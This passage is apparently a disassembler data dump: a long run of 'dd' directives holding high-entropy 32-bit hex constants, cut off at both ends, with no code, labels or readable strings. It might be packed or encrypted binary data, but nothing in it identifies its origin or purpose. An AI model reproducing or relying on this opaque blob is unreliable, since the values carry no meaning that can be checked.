0E90740F9h, 0D7C55D27h, 30A34AB8h dd 6682997h, 0B062C1Ch, 14B05040h, 92282F19h, 93EC8A9Ch dd 52722C80h, 8013CCB2h, 1EBFEDEAh, 96AD33Bh, 0A05F746h dd 2BE44687h, 775F7107h, 2EE0F316h, 9413B75Ah, 3A506898h dd 0D9016300h, 1D8FBD55h, 0D7E44h, 2D7ADAE5h, 5B2FE911h dd 26ECDB5h, 2E9F0902h, 8269D057h, 0BEC36C08h, 1C5C7CDh dd 2149100Fh, 3A8F009Bh, 3DF1C77Fh, 30040945h, 0B8E50266h dd 0B90C0CBDh, 0C8209441h, 5FD89871h, 0B32F370h, 5FFEF4C2h dd 5084A49Ah, 0F7EE4BA0h, 0FAC06C2Bh, 24958887h, 9CFA5A31h dd 385F6F85h, 0F7800BB2h, 0C1C8C269h, 8BF707BDh, 0F73E75EBh dd 40E95C0Ch, 0FF64F98h, 0AD4D91E2h, 0B0B99C6Fh, 0EA8BDA50h dd 41369A57h, 129F8AD3h, 0FBCFD94Ah, 7C4A76ACh, 73E81A24h dd 9CE3C08Fh, 5105EBC1h, 0EF2A68B5h, 40463206h, 0EB414A24h dd 6102D0D2h, 9581D03Ah, 6C4A36CBh, 0A634644Ch, 89E7330Ch dd 812286DEh, 0DDF33B5Bh, 164A697Ah, 0BC141E04h, 0ECF4814h dd 8EEF17C5h, 7AC5DE32h, 4781D578h, 0A82FA2B5h, 476882EBh dd 9DF1664Ch, 0F5D263D4h, 9505551Ch, 573FE716h, 5401F209h dd 5A4660C1h, 0F7166B26h, 98024FDFh, 844713B5h, 27E806B4h dd 6EC8F64Bh, 0B1D01859h, 54FD296h, 5F402B3h, 0AD1FC875h dd 93273878h, 0AC75D1h, 2EB5CB5Bh, 918C2D9Ch, 11423293h dd 2AF2AA80h, 0B720A587h, 3CBB1CACh, 362D365h, 4A6F8C69h dd 0BEC2E993h, 6DDD486Ah, 22DF2F82h, 0C9DAE1A2h, 70DCF3EDh dd 2C3CC55Eh, 53138196h, 5D0AA5B7h, 0D82882C0h, 83952CB0h dd 0BAC7096Fh, 77C85711h, 2112E3CEh, 9E0313F8h, 0B0FC61E5h dd 20E9F201h, 8F9D47D1h, 4C9E04BEh, 0AA0A691h, 497DEE73h dd 0AC3F72A8h, 66F7FC25h, 4131206Bh, 2F3B5C97h, 9536BC5Fh dd 63C080F6h, 0B8220D3Fh, 368E0C0Bh, 0F8E1050h, 92D9740h dd 6FF92F67h, 0BA3E7EF6h, 408EE7FAh, 0F74E3362h, 6F261414h dd 0E4C22A94h, 3465F180h, 0FB958517h, 5F201FB1h, 0B11F1625h dd 2F42AB5Eh, 0E1D44A69h, 10A654F6h, 120A2069h, 0A218EBE9h dd 88AA9627h, 1F03BBFDh dd 7E93F55h, 0C22D0629h, 0A4F9B4ABh, 70C4535Fh, 0CAD7ECB9h dd 4EE90C8Ah, 7EB92CCDh, 20F530F2h, 237E3FBEh, 0C9E93C0Ah dd 0DCC94788h, 0C521963Ch, 2BF3EF30h, 84A5F993h, 870BA249h dd 0FF28C357h, 5C988BB9h, 0B068B1Ch, 3E051C5Dh, 0BACFB865h dd 0F702CFDFh, 585268F1h, 324C8F3h, 511BAF39h, 96E8B076h dd 44A8C0Bh, 0C2AAFB85h, 13CA3991h, 8033DD05h, 0D10102B4h dd 5402498h, 7359FC51h, 0FA4ABA5Ah, 90E9DC3h, 3ED930A6h dd 18735C7Bh, 0FC72C4B5h, 3FFCBE2Dh, 0B02FF277h, 0D0013ED1h dd 426E0751h, 0FF371168h, 0F288DAF3h, 2F2C3Dh, 49CF0C93h dd 550BE781h, 464F017h, 0F3C51540h, 0C5FB6017h, 13BD9F32h dd 10A423E9h, 0EDCBDDEh, 0A95D35Eh, 0A7E1B7BBh, 9FAE96F7h dd 0E906EC7Ch, 28691013h, 2AF5FFEh, 302E35EFh, 14C1EAD1h dd 21EA04E6h, 4C45584Dh, 5A7A54E4h, 0D903C82Fh, 2AA26D99h dd 0C9C1BFAh, 7A995CA0h, 896ABDh, 0F54BE908h, 417D96FEh dd 3C075168h, 1323C414h, 5E8F1AA8h, 1540F72Bh, 6A1E8968h dd 558947F2h, 24CDA695h, 16FA9885h, 0AA5B0B31h, 383301D8h dd 68CDE90Ah, 89F5BE2Fh, 49EA5D7Ch, 835A3187h, 0AEC43927h dd 26581138h, 8E5EBFE9h, 924E9366h, 52CF428Eh, 0EA5D5509h dd 0C2C1D5C8h, 8001C24Fh, 0FB60FCF3h, 0CA589DC2h, 70EFED27h dd 62C3BE42h, 0C1B0D7D2h, 0DBBF5452h, 0BD304946h, 2663A0E9h dd 13D9314Ch, 1AEADCFEh, 0E55D9A9h, 5DDAEB34h, 9714868h dd 0CDC98A50h, 0C7BB89BDh, 0F46617EBh, 3443C685h, 8812B004h dd 0ECF685C2h, 0B76809DEh, 0FD193A40h, 0B970FA89h, 31A7BF00h dd 0EF8101DEh, 0B46D0380h, 8695E943h, 559B2040h, 5F5D5716h dd 48D511C1h, 0BF042179h, 0EA1BE474h, 8092FD4h, 4A9B5A5Fh dd 6FF8B139h, 21126FF6h, 4FACAEBh, 6AC26855h, 2D98A6B2h dd 519D505Dh, 0BBE9653Ah, 0F41B26C7h, 0D2FAC72Fh, 4ECCDD24h dd 665BCD2Eh, 0A6455752h, 0AD35A708h, 58128077h, 2D6EC507h dd 0EBD83DE9h, 9B2559Fh, 0B25D2912h, 794CFD2Dh, 0AE2096B8h dd 0F658035Ch, 80ECD0DCh, 0B353FC90h, 0C37CC676h, 52529798h dd 0CFF54A57h, 0E2D98547h, 1D2982D6h, 0F0745FF7h, 32BB1ABCh dd 0FA7AFFA5h, 2BB4F6F6h, 8B14D425h, 2EB04345h, 59814E93h dd 7212B878h, 20B3FF8Eh, 9898FF4Ah, 23AF67D4h, 794773C3h dd 0FA8415Ah, 57B4BBF5h, 5F2A40FCh, 42B4397h, 322036D2h dd 0E942AE18h, 0FFEEE9D3h, 0BCED1BC8h, 44FB330Ch, 17530E45h dd 0E330EF66h, 18314CC2h, 0C6336295h, 61721DEEh, 3DBEBA2Eh dd 1829FE18h, 0F6FADE0Fh, 10CD095Ch, 84615AD2h, 2AAD3916h dd 83F492B1h, 3FD0B13Eh, 0F766893h, 38A46724h, 90EA133Fh dd 0F6FE05EFh, 8DF1034Ah, 44C09644h, 483E0A23h, 0C62AF78h dd 0B2F65839h, 632F527h, 0CA8B0AF7h, 4F33B687h, 0C0DFF772h dd 2DC738CAh, 0B1C048C3h, 0BCAACFE9h, 97CEDDFh, 1351135Bh dd 54B6763Ch, 460A798Bh, 61B80914h, 9E00524Eh, 2B9E3C05h dd 8248F497h, 40D71B67h, 8F81715Fh, 497D64C0h, 0AFD6E0D1h dd 0C6DAE2C2h, 0DD5D6B14h, 8EDC260Bh, 8C169502h, 0B201627Bh dd 4E6F70FEh, 0DE24ACD5h, 6BF2DA05h, 2CE4E4BEh, 108CC54Bh dd 61011699h, 5B808A72h, 7AF62FBDh, 72BE5600h, 0BD09C206h dd 0A451764h, 5279B034h, 975CF040h, 2C935354h, 6F1699AFh dd 2D4F4CBDh, 2D0800C1h, 1D7401CCh, 0B4826DB8h, 54E90802h dd 0DF2D4774h, 0FBB78336h, 0E2203EBEh, 11A649A0h, 847E472Ch dd 0C7F1D117h, 9F07CAECh, 0A301EF18h, 0FC7FAF25h, 3F8B2734h dd 0DE2C4075h, 2E23BC0h, 380A7973h, 0D31FCFEAh, 40EBC05Ah dd 861DB450h, 4EE9FC12h, 2CFBF584h, 21B75ED2h, 0F92FE912h dd 6C26142Dh, 0EF3D1354h, 2508AC50h, 2D3CF95Fh, 0B82AFE8h dd 62A7B8DFh, 792EB88Bh, 835981B4h, 0D8287C9Ah, 43BF05Bh dd 0E057E895h, 0E9D0EDC8h, 0B705703Ch, 517082D4h, 9F680053h dd 5B16AA56h, 7759ECE9h, 0F28912C3h, 443749AAh, 0F6AD09D1h dd 146082EAh, 55E14EDAh, 3AB82BE0h, 9ECDBAD3h, 814FDB23h dd 0C8024908h, 20BF03E9h, 0D158C162h, 27CAB0E1h, 0F91BE688h dd 3008E7F1h, 0D67EFC1Dh, 5E575C13h, 1C3D8BEAh, 77251598h dd 0BB73A0ECh, 0EB7F11A0h, 5A3FC6BDh, 0D437BB28h, 0A2BD7192h dd 0D20C6877h, 5D814BF1h, 207C82AAh, 827F98EDh, 68996218h dd 3303DC2Ch, 0F34A1132h, 0EAB8E12Dh, 0B05C77B9h, 6AC495BFh dd 0B15102B6h, 82CE88E6h, 0FF4DC6EAh, 0E1088540h, 76A0665Eh dd 292D4046h, 9DEA78BDh, 0F62D7AFCh, 96D72FAFh, 0F1122DDEh dd 0F8441323h, 2A6B6F7Ch, 2B627F4Dh, 0C142C575h, 6B0E29E9h dd 83C5B90h, 0F1764E1Bh, 81663066h, 0A3354A4Bh, 0DD40D599h dd 5F0338CDh, 3436F017h, 133CE0Ch, 14DECEEAh, 0AD6A1258h dd 5D11BA03h, 17B2411Dh, 77EB095Dh, 0A4E8BF59h, 680C1110h dd 0FEFB31D9h, 55A489B5h, 57C96071h, 0DAFD99B2h, 5FE9150Dh dd 0E8128E8Ch, 0B032FB5Dh, 77276A79h, 58C2EC56h, 55F17776h dd 0FED236C1h, 4610BC73h, 0C366276Fh, 0C981A0F9h, 593B7EF3h dd 0BA02A6DEh, 60D005B7h, 0E75361h, 12F4F381h, 0AC759894h dd 0C20114E7h, 12B6009Dh, 0E1812528h, 0CC0C0693h, 60D9F719h dd 0BE90809h, 9E907C22h, 0F73EE047h, 18F092D8h, 0AAA97434h dd 389B277Ch, 69EF7F56h, 2CE9C0A5h, 439BA2C2h, 0EFA6D91Eh dd 3DA2313Eh, 6D6131Eh, 0DE58839Eh, 0A5988E57h, 0BF5E902h dd 54297420h, 4E603DF7h, 1AA10E6Ch, 0C00FE395h, 3C27DE07h dd 0CD97602Dh, 0FC01AE33h, 20D46702h, 0DC5A17Bh, 20E3CDACh dd 1B00B631h, 0CD81233Fh, 4AB52E8Dh, 0C1D1EF60h, 2E4D08h dd 19834660h, 431CCB81h, 1DFB7838h, 0A84BBCE3h, 0EE65601Dh dd 31622F56h, 0CF16065Ah, 8A0B039Bh, 7D8B6287h, 50EAAC7Bh dd 28F74688h, 35DA2092h, 152A88C1h, 0FECB35Ch, 0DF71950Eh dd 72725DE9h, 47D6BB04h, 84EA60B2h, 0C12CFF4Fh, 290E1F5Ah dd 0EFF7817Ch, 78683F1Eh, 0E94B1D38h, 36FA1793h, 9E096B6Eh dd 0F5329876h, 990C1853h, 0ED4078A6h, 0AD6E23DDh, 5C99E17h dd 3F00D317h, 90088397h, 9B0F8879h, 0E325647Bh, 3A212A3h dd 983481F2h, 2450D27h, 483C6F2Dh, 4EA6EE9h, 8BC6EC40h dd 312C6B2Ch, 0A25A5A11h, 14AB906Eh, 8EC963DFh, 0BB930703h dd 5591ADB2h, 441CC424h, 0BF134C28h, 9CB9D6E0h, 3B68C16Ch dd 7D2D890Ah, 5BB1567Bh, 346B2EE9h, 5F5AF8C6h, 6005FF9h dd 0A8309925h, 39E2350Eh, 0E922A706h, 4864FE4Dh, 0F3B71358h dd 0A712BCD3h, 44CC2D09h, 0DC174FAEh, 0EE4F832Eh, 0C52E67D9h dd 848ABAC4h, 6284EB2Fh, 0F3021C8Ch, 484FC380h, 700668EBh dd 0B5569757h, 0F5A78172h, 8E21C517h, 2425ACCCh, 2850CC2h dd 50873D9Dh, 12D3F95Fh, 8E690E5Ch, 0A960D2BEh, 0B3E9C278h dd 3019F785h, 8933F177h, 5EB1C81Ah, 317AEA3Dh, 3A9568B9h dd 79E0E58Dh, 0F0539509h, 235D7C3Dh, 118481F4h, 68270B87h dd 55451918h, 0A9834649h, 0F63F04E1h, 0DF171050h, 58974050h dd 0EC5F4DE7h, 716D043Ch, 0D1AB39DDh, 0F05A5F43h, 3E12E068h dd 5A00059Dh, 215867EFh, 0C0CC046h, 0E9859E75h, 35B8644Bh dd 0B410AD4Fh, 0BBA4DABCh, 0E98376F2h, 0A3507F95h, 0D0091260h dd 8D10146h, 60AF08ABh, 80A65CD7h, 66F0E620h, 0F0885005h dd 3774D0F6h, 0DE3D00BFh dd 0E126E95Bh, 1DA6D891h, 9566D825h, 97FB1E7Dh, 0BA791875h dd 1E7A90CEh, 0E51952Ch, 0BBF3A9E0h, 0E9C45FF6h, 2776A8C7h dd 9894775Ah, 44AF685Bh, 0BD16AF3h, 8D4ED45Bh, 3B72D3ADh dd 0B93A36A1h, 3EF57D8Eh, 0F558F60Bh, 7FA51847h, 0BB5D39A6h dd 9EF5813Ah, 894F879Fh, 61D5ABEEh, 6C7A51E0h, 0C234E93Bh dd 0A9EF7006h, 0A7323DA8h, 0E69FCCFEh, 0A769504h, 0F9E6F5F2h dd 23E85450h, 8A49CF5Eh, 9E85784Dh, 0B56272BFh, 0D53C0B75h dd 6FE3AA3Ch, 0BE4B48CFh, 8B6ED629h, 0F7FC4ACDh, 0FB6F91E4h dd 0B7C06A1h, 2FF5070Ch, 6727CD70h, 0E3D6FCF4h, 41B46850h dd 53F80158h, 0C36A982Bh, 59BF2BF6h, 45776B9Eh, 475209EBh dd 3963701Ah, 0E77CD098h, 34065E58h, 0FB161F0Bh, 7B47C41Ch dd 0E16F298Dh, 492A7E6Eh, 0C17D1F2Bh, 6602A3F1h, 0A1984018h dd 0CB5A26A7h, 68C215A1h, 0EED987F1h, 0ED06010h, 3F4436B9h dd 6F5B057Ah, 0DFF6F005h, 4C6CBEFh, 5AD73001h, 0A10DDFDh dd 454C99Dh, 1016CA79h, 0DD1D94BCh, 43F935Ah, 1FEF16Ch dd 88F3A9Ch, 0D8C2FD6Ah, 9E1DE907h, 0C5F525E5h, 0CCD8436Ah dd 48205858h, 4BBF4A54h, 0F3A2F48Eh, 5BD73158h, 295244Dh dd 377C4D3Fh, 4E200AC0h, 81101F00h, 24B755F3h, 0FDE92573h dd 6676AEC2h, 8B4E452Dh, 0D7C77D6h, 0E3215F7Ah, 3FFEE7D0h dd 68C22AA2h, 1877605Bh, 0FB3BA1Ch, 0E937202Ch, 0B04FA655h dd 1D7AE2E0h, 0FE291C3Dh, 0FC8526h, 37F2EF81h, 66700440h dd 8E880476h, 0C2F92915h, 76FCC7BCh, 7D733680h, 0DFD2F71Bh dd 30B5E604h, 17EB8061h, 2F5106C8h, 0D7E5FFDAh, 388E0648h dd 90EBC402h, 0AB09BF8Ch, 4524FD5h, 0A4984BE9h, 4F9D52Ch dd 0BB1A13AFh, 4ED3571Eh, 0AF2B6BF1h, 52A84529h, 3156F9AEh dd 5F10A9FEh, 0FF1AC46Bh, 404F31C0h, 3241B554h, 3016A03h dd 7D47648Fh, 143C0D20h, 0F2237678h, 4156C10Bh, 2F95E682h dd 774E47F2h, 2D7BA3ECh, 0E6A6BB3Eh, 4060F002h, 33FB68C7h dd 5D731F1Fh, 2BF35845h, 0B41E505Bh, 0E48B5271h, 4C83FA12h dd 5D2DCCD5h, 0C372185Dh, 624996B4h, 71A80A07h, 0B89A160Bh dd 6CAB5BE8h, 27404CA2h, 6F33B059h, 1B852D05h, 7EDBB51Dh dd 546D4895h, 0B033C3E5h, 0EEE904DFh, 8485948Bh, 3FB8BF00h dd 0F20949B4h, 0D6169C7Fh, 0EF3DBA3Ch, 0DA2D7A01h, 3E04AE04h dd 0BA161113h, 0D724C50Bh, 0EADF6BA9h, 3E1FC13Eh, 1249E73Ah dd 2A09CACDh, 0C0BBDA53h, 9549B0E0h, 0F12F683Dh, 1A0E62Bh dd 178138ACh, 8EF576E9h, 695BDA81h, 362587C2h, 4AAD75AFh dd 0E92B7CAFh, 33C0AA4Bh, 39C0F4B3h, 0ACDA02EBh, 0CE0B38A0h dd 0E86FEE29h, 5011F259h, 895D95E3h, 0E195F683h, 8BF0C9E9h dd 0E6F329ECh, 0D8013F5Fh, 0BF1054F6h, 0BD70B0F7h, 29126A5Eh dd 0B4EC12FBh, 5A4F3E86h, 0C1586DF2h, 0C68ED83Ah, 68435B58h dd 93123F32h, 9DB9F0DBh, 0DF628CBh, 5D22F109h, 0E56A9483h dd 9C62701h, 216EB2E3h, 2ACCEA41h, 122BB36Fh, 7AA375B1h dd 3DE0D266h, 84FAED4Ah, 9C04BE3Bh, 37BAEAB8h, 0FAA69271h dd 0DDC0AB75h, 5429EC60h, 601AF983h, 0BACDC453h, 6846E93Ch dd 0D82864F9h, 900530C3h, 7E4A8BFDh, 0F3B5AE77h, 17F84AA5h dd 563C0A9h, 0A6395F35h, 7325FB2Fh, 71812194h, 30602C1Dh dd 3ECD16F1h, 6E3C47EBh, 0E9616075h, 2ECB84E0h, 8FADC4Eh dd 0BF018C91h, 1E54224Bh, 4064060h, 21E5ED38h, 0C1E380F9h dd 4F3CD4E6h, 87E8D062h, 52E9F713h, 5ABE084h, 0BBD6039Fh dd 0E8C915Fh, 0BD0ED8h, 2B6A227Eh, 53CD814Dh, 0DD4471F1h dd 2EA52B87h, 185C663Eh, 7EF5811Fh, 29E43680h, 4FD15DEBh dd 0AAE8E3h, 69041C44h, 9DB0A5E9h, 0B10A2AA5h, 8AFC3E20h dd 0BD6055E2h, 26031378h, 3E79BD45h, 0FD29C14Fh, 0FFDF842Bh dd 0F85712DCh, 0FEDF2F44h, 322CC37Bh, 0DE400112h, 166852F9h dd 3566B76Ch, 0A0638209h, 44D7E45h, 0C14F6AC5h, 823E0CEFh dd 4B8EC267h, 71696863h, 3D5C3E15h, 311BCE03h, 3A091DB1h dd 828D2D74h, 642BEB8Ch, 25875DE4h, 0EFCC031Ch, 9FA910F2h dd 38316E0Eh, 92E84FBEh, 6F32C175h, 3A555E6Bh, 4E01C9B0h dd 6C70AFF0h, 0F5BFE95Eh, 0D568AB50h, 98E23EF9h, 5FFE306Fh dd 0C55324D1h, 314BEFC5h, 0E8BDAB8Ah, 3E3AA408h, 94A52040h dd 0E077DECAh, 0AADA424Ch, 9B785F15h, 9E59E83Ah, 4C0558C1h dd 0E5B50187h, 86A83489h, 1692AA22h, 0FFBD41A4h, 847D6AE1h dd 0E3E8B517h, 0C5CC408h, 6210E914h, 5A5800FDh, 8B363A0Dh dd 0CF351C1Dh, 518412Bh, 305FE2D4h, 0CA4AC96Fh, 7E21CBAEh dd 0C781784Eh, 6170CF88h, 20AB4023h, 4BC1FA6Fh, 95A35050h dd 8A8C95FDh, 4BF5B54h, 0EF115705h, 630231A7h, 934BF48h dd 0A1CCE58Ch, 5B685F40h, 0A76BB89Dh, 0DB1557B0h, 9F45B533h dd 64DE268Bh, 3055637Dh, 7C82171Bh, 0D4268BF4h, 24E8E00Dh dd 43DD222Fh, 96C1CA43h, 45E76B67h, 4C78013h, 11BAA2Fh dd 72A8685Ch, 0D7054E26h, 0C130B827h, 0AFD2EEABh, 63B5820Fh dd 1D680BA1h, 5A81C719h, 3E84B62Bh, 61425AB3h, 57C83108h dd 22494C4h, 0FD6BDED6h, 0D490E203h, 0EC80140Fh, 5251C4Dh dd 0B3AE5C70h, 7EF5FE4h, 85B6DB8h, 2D4A5361h, 0FAC075F2h dd 0C42676B8h, 0CA01BD2Bh, 513FEB57h, 0F71AE22Ch, 0D1570AD1h dd 0F8BB62DCh, 0BD594EA4h, 0D3E9B03Dh, 0A6ACB526h, 85285C4Ch dd 8D2F8CC8h, 0F2A918C6h, 0E45F8AC7h, 257B6B45h, 841F5802h dd 0EB83C254h, 0AF71EA2Eh, 0BF3500C9h, 7F4B3F5Ch, 0C4EF0460h dd 0BEF3DE51h, 0FB2067F1h, 2DA47205h, 0D162279Fh, 3C8B0702h dd 0BF88B457h, 397E0EE1h, 58C21230h, 0B306A2F8h, 0C28092Eh dd 3D8BFC09h, 2F9A5682h, 4F61EF5h, 2F131E2Ch, 4AB8EA4Fh dd 6DE90862h, 310ECFD6h, 8EE4CF5h, 0D1ED48C1h, 8D806C25h dd 96725DB9h, 0A1F2A5Fh, 0C6900757h, 371A42F1h, 0C9123754h dd 5C0678FCh, 1B48289Fh, 70DDF703h, 12E90409h, 93087430h dd 7EF7EA5Eh, 92BFEA84h, 5C0E154h, 68804174h, 0A75600D6h dd 0E3815B6Eh, 0C0304AD0h, 63B20C14h, 1A514C67h, 0BEC3565Fh dd 0A24D6AC1h, 0EDE2417Ah, 6E6DB51Bh, 805C2A5h, 0B3EBDC84h dd 9025D7B3h, 0CD0B300Dh, 99FDB07Eh, 3EF3497Fh, 52E0D1E8h dd 40096855h, 83270342h, 21D39BAh, 596BCD91h, 0E1E14EC1h dd 468C2B6Fh, 561F5B42h, 0B5EBB6Fh, 16DC9FCCh, 53D900B0h dd 0CBFE16B3h, 9401F380h, 525BD830h, 0F1C8C688h, 0C34525E9h dd 792062E6h, 0B69851h, 9109A3CEh, 0F3BA5248h, 35923907h dd 12CA8FE9h, 0DD28ED82h, 58D7824Ch, 96B76143h, 0E994A07Fh dd 0F9561D2Dh, 0BA388A19h, 0EE059286h, 485E96E4h, 0BF2F29D8h dd 15803F7h, 0A905E7F9h, 93EA8440h, 0F60669F7h, 24C54AA4h dd 682AE427h, 0C63EA627h, 0F2EB24A8h, 0BFD0A8D5h, 0F3285A7Eh dd 0E0810A7Bh, 796A9E40h, 2456928h, 8F9A6303h, 0BC6773Ah dd 56536F2Eh, 482E308Bh, 0BFB85965h, 1206ED0Fh, 8A91939Ch dd 3B80EE5Bh, 9BB558F7h, 89B889F9h, 5C06D627h, 1145997h dd 8050E6B3h, 62B82526h, 455F3663h, 525F8F42h, 78076037h dd 24B372C5h, 3FEF094Dh, 0C777E074h, 9751086Eh, 3D3FD3C0h dd 0C24E092Fh, 0BCC157B2h, 66EFC0E2h, 8D0DE7ECh, 0AE12B144h dd 4E026ACh, 0D82F5E68h, 5C5C94D2h, 94E93575h, 68F0D490h dd 0C7744972h, 5E0C1A10h dd 0E18B24F9h, 0D527AA54h, 0FC25CA67h, 7F5E5964h, 0EAE5D9FCh dd 0A62547E6h, 1E0A4E4Ch, 0AF7D1374h, 0E40B813h, 0EF6808E7h dd 94B331h, 7D39132Ch, 319FF721h, 47E4681Bh, 0E56150CEh dd 1BB8080h, 79B80A13h, 32821C1Ch, 0E0432566h, 78CC2937h dd 0C471E9D1h, 7EE71D42h, 0AE0517F2h, 0C74CF93Ah, 0A053125Eh dd 0C02CC44h, 402D0DC2h, 5479425Ah, 0DA2108A9h, 6274D12Dh dd 64F48768h, 2F73B625h, 0E78495E9h, 5003C366h, 0A7D2FDC9h dd 943BF0B2h, 99F90C62h, 87B8AD27h, 0C6084C27h, 0EDDF54F0h dd 1033881h, 3938BA4Ah, 0BC5F9D59h, 123A4A80h, 3374025Dh dd 761C324h, 604AF3A6h, 0D917B1ACh, 44EFC93Dh, 0D65FFF6Ch dd 0F4BF1893h, 29B6F7D8h, 973E8926h, 66917C36h, 0A32F7824h dd 0A35C8D6Eh, 0B3FD2160h, 0DE3809FDh, 67C25F1Bh, 0DD9518D0h dd 0D1774F29h, 0CBE95090h, 0B0915698h, 141C6804h, 68834BE6h dd 3B167A93h, 43F586D7h, 6ADC62DEh, 48AEF122h, 0DD150AE4h dd 0BA2DBC72h, 633C0B51h, 3C21F12h, 557DBE8Ah, 3D2220Eh dd 78048568h, 2CE8281Dh, 0C85E591Dh, 2B09153h, 0F0E9130Bh dd 7211F47Dh, 43C1E116h, 0A010C8ECh, 6A5C2D08h, 89F6CAB9h dd 75EA2923h, 2284DA40h, 4349A426h, 9C588603h, 0DF180072h dd 31ED53C8h, 9B2FE9FAh, 9C74C67Ch, 426800B2h, 564B5D41h dd 353B46B0h, 0BE130F02h, 2F521F50h, 74AC0912h, 179D4EB1h dd 92408365h, 22692D58h, 0B93C4AFBh, 0B0BD176Bh, 979F26E3h dd 57174E2Ah, 0E76090C9h, 56BA5A59h, 6E4331BEh, 5DF22DC1h dd 0BB531880h, 18300CB0h, 1A6EB63Ah, 0E966129Dh, 5CD7421Bh dd 717DC501h, 31FDA537h, 0BD110C57h, 0D4B00021h, 2C393168h dd 0DF449Fh, 0FD81635h, 0C3317DFCh, 18DA4B8Eh, 5DAF07DDh dd 0AC30DDA9h, 0FB9D7A98h, 924B2h, 1E7D12B8h, 0F201BA55h dd 0E9AAE182h, 68009181h, 0FB17106h, 66F1B587h, 9A74EEBFh dd 92D98415h, 0F5342116h, 3AEBD55Ah, 0F050B033h, 4E33E9DCh dd 512FE3CAh, 5AA13875h, 0B7BA582Ch, 6F0F15F3h, 0D3018416h dd 0B774115Ah, 9286542h, 6808CDFh, 6080B502h, 3167DA5Fh dd 9785E4B7h, 0D7E03C22h, 98B16CFFh, 8254BF55h, 687D39F1h dd 0EEBAD630h, 4B487891h, 0E9F3054Dh, 5FEBC50Eh, 0E55BF948h dd 0BEF5DB0Ch, 0E6AE1852h, 0CBEA0B16h, 4ABA7DFEh, 58D46BCAh dd 0DE7B66CFh, 0F7801216h, 0A9BF34C7h, 31BAD28Ah, 9BC93B1Ch dd 0C1265024h, 676E0234h, 0BC2BA588h, 0D7F61C7Ch, 35FCDF93h dd 223CAB97h, 3B92DE9h, 814A64ECh, 8E2AB0F1h, 55E909D9h dd 3B302219h, 0FAD7C666h, 4E6EBA12h, 0A4CBAA5Bh, 50D712D2h dd 16102376h, 0D15C09CCh, 7B7300EDh, 98FBA37Fh, 7A340969h dd 0C60F2C3Ch, 0B008A81Ch, 0D5EBF26h, 4575F482h, 3A5AF537h dd 9768E912h, 9AB67541h, 4232F320h, 0B0A20BD2h, 0B28085C2h dd 0CAFE9EB2h, 1067C2F8h, 0DE8E7606h, 5031EA0Bh, 7AE92D0Bh dd 0D2B80CC0h, 2343421Eh, 0D6CD768Ch, 8124D421h, 8E4CCE07h dd 56F3605Dh, 0C40989BBh, 482473E9h, 6579A29Bh, 0EED0525Bh dd 53541C09h, 0B8E72DAAh, 6DB2D9AFh, 0C1CF7B08h, 0A8DCEC4Ah dd 88AF4F0Fh, 0BE41D75Fh, 0BA79356Bh, 6407B7C8h, 0AE31AE4Fh dd 0DFDD6009h, 0BE751A4Ch, 61CD5312h, 0FB5FC0ACh, 67800635h dd 1284CE81h, 1421C54h, 0F61ECDC9h, 0F53CAF5Dh, 0A187218Bh dd 0B80058CFh, 523826C1h, 7CC40F0Dh, 85EB4687h, 0B6F4974h dd 68BBDAACh, 25B5C575h, 6CC70F5Dh, 2468176Ah, 0A68A779Ch dd 0D2812A67h, 3142429Ah, 0C5511F3h, 7AE90607h, 5F26CB6Dh dd 2FF0BED7h, 0BC0A9E9h, 41EEC62Ch, 6EF12577h, 6F847EE6h dd 0AE881751h, 92E09787h, 2626D96Ch, 0FF254CC3h, 0C7033848h dd 5690D0AEh, 180F6B03h, 41D1292Ah, 0BE330830h, 8927939Dh dd 0B4893FEAh, 8CC6BC93h, 0E09E7065h, 4E12BB00h, 7C016F29h dd 838049D9h, 0D72F593Ch, 3E08A373h, 895240Bh, 6804C1CFh dd 5FB37313h, 6F61B600h, 0D31DE941h, 2591FE57h, 90814E52h dd 6EF32057h, 4ED509Dh, 3E8D6C83h, 0EBE3FE21h, 74FB94Eh dd 0A6A759F5h, 4BEB09C2h, 0CFEEA8C6h, 6053603Fh, 3D7E1550h dd 5749E927h, 3B4FD7A3h, 3FC310C2h, 417860EAh, 29FE584Eh dd 90572E8Ch, 683968BFh, 0F68308A2h, 0EC3EDCFEh, 7990105Bh dd 2C46377Bh, 59EF0064h, 302D92B2h, 906294FAh, 0E1CD4A45h dd 40DA36E3h, 9558A9B5h, 8168C28Fh, 3C685352h, 5658E909h dd 0C2376B77h, 2514D4E1h, 20F4D6F8h, 74AFAC4Eh, 2F4BBC53h dd 5A255614h, 0E3AD7E55h, 4A5AC909h, 685F42C0h, 0B7DC976Fh dd 4EF6A62h, 15E2EF59h, 0EA5FE9C2h, 5C1B3CC8h, 4EF298BDh dd 307B17B1h, 413A91C1h, 744FA764h, 0CA5C034Ch, 425A8374h dd 0B91500EAh, 1BB30A4Fh, 811C4DB4h, 4D62E5C1h, 0F1DC4163h dd 0E7151488h, 1C791047h, 0A73D9622h, 0C94088D4h, 80EBE58Eh dd 0C84F215Ah, 0C9D060F3h, 0BA0110h, 6A1F3D35h, 1A27052Eh dd 4EEBD1DAh, 7C0B2BF7h, 0CB3A5883h, 0B36F5881h, 2414C8B2h dd 1DFF13ADh, 0B5528A1Eh, 0BAC24084h, 5B5C2B57h, 30B44C8Ch dd 28BB2972h, 20E11364h, 0E66D0429h, 61D191D0h, 0C9EF7C4Dh dd 51965FB1h, 0D9130D91h, 0EC888942h, 0EEBCDF59h, 0FF2E92Dh dd 0B5C960B5h, 0F3543B2Bh, 0C991B343h, 0B06FCBCDh, 245BADC9h dd 0E2E02789h, 47D9BF73h, 199572AFh, 0E525BDDh, 5F1F3EEBh dd 827F625h, 591657F1h, 6F8D86F0h, 0B3C91154h, 609D2C58h dd 673DFFh, 0F7582638h, 4F152DD0h, 3579280Fh, 643CE11Fh dd 95208951h, 0F29B4E14h, 0D0798E4Fh, 8B685031h, 0CFFE012Ch dd 1C372970h, 0CE9EE180h, 0C7C6ACF1h, 0DD70062Dh, 0EF75CF7Eh dd 1F8BDC83h, 4A011866h, 3861665Ch, 0E9F7078Fh, 5FB9ED32h dd 5284C765h, 16EACA88h, 78CCBB94h, 134F4BE9h, 0DF1EF9DEh dd 0DFE0DA56h, 0FA68CB5Ah, 91E12404h, 9747A108h, 70531527h dd 0AF107D2Ah, 93BA03E5h, 0D10F6C48h, 443910ABh, 8593DB3Ch dd 0BDB6566Bh, 5899CBB7h, 0B7EFF699h, 0D827ED74h, 2E06200Fh dd 31FD054Ah, 85C2AC5Fh, 65BEFEFAh, 948FFC1Ch, 57BD4BFCh dd 507EC84Eh, 7623B805h, 16033FA8h, 27B4DBE9h, 88DDC77Fh dd 